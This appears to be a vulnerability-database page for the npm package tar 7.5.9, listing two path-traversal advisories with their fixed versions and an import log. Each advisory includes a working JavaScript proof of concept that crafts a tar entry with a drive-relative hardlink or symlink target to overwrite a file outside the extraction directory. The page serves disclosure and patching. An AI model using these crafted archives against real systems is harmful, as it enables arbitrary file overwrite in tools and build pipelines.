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Package details: pkg:npm/tar@7.5.9
purl pkg:npm/tar@7.5.9
Next non-vulnerable version 7.5.11
Latest non-vulnerable version 7.5.11
Risk 4.0
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-bj4b-gq5e-2kfy
Aliases:
CVE-2026-29786
GHSA-qffp-2rhf-9h96
tar has Hardlink Path Traversal via Drive-Relative Linkpath ### Summary `tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots. What happens with `linkpath: "C:../target.txt"`: 1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false. 2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`. 3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file. This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.9`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(process.cwd(), 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash cd test-workspace node poc.cjs && ls -l ../target.txt ``` Observed output: ```text PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt ``` `PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
7.5.10
Affected by 1 other vulnerability.
VCID-qunt-xms1-a3cc
Aliases:
CVE-2026-31802
GHSA-9ppj-qmqm-q256
node-tar Symlink Path Traversal via Drive-Relative Linkpath ### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.10`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
7.5.11
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-17T00:34:08.909495+00:00 GitLab Importer Affected by VCID-qunt-xms1-a3cc https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/CVE-2026-31802.yml 38.4.0
2026-04-17T00:31:26.148304+00:00 GitLab Importer Affected by VCID-bj4b-gq5e-2kfy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/GHSA-qffp-2rhf-9h96.yml 38.4.0
2026-04-17T00:31:00.953266+00:00 GitLab Importer Affected by VCID-bj4b-gq5e-2kfy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/CVE-2026-29786.yml 38.4.0
2026-04-12T01:59:09.536226+00:00 GitLab Importer Affected by VCID-qunt-xms1-a3cc https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/CVE-2026-31802.yml 38.3.0
2026-04-12T01:56:06.570771+00:00 GitLab Importer Affected by VCID-bj4b-gq5e-2kfy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/GHSA-qffp-2rhf-9h96.yml 38.3.0
2026-04-12T01:55:45.306176+00:00 GitLab Importer Affected by VCID-bj4b-gq5e-2kfy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/CVE-2026-29786.yml 38.3.0
2026-04-08T03:25:26.622043+00:00 GitLab Importer Affected by VCID-bj4b-gq5e-2kfy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/GHSA-qffp-2rhf-9h96.yml 38.1.0
2026-04-08T03:24:51.307040+00:00 GitLab Importer Affected by VCID-bj4b-gq5e-2kfy https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/tar/CVE-2026-29786.yml 38.1.0
2026-04-01T16:08:22.921694+00:00 GHSA Importer Affected by VCID-bj4b-gq5e-2kfy https://github.com/advisories/GHSA-qffp-2rhf-9h96 38.0.0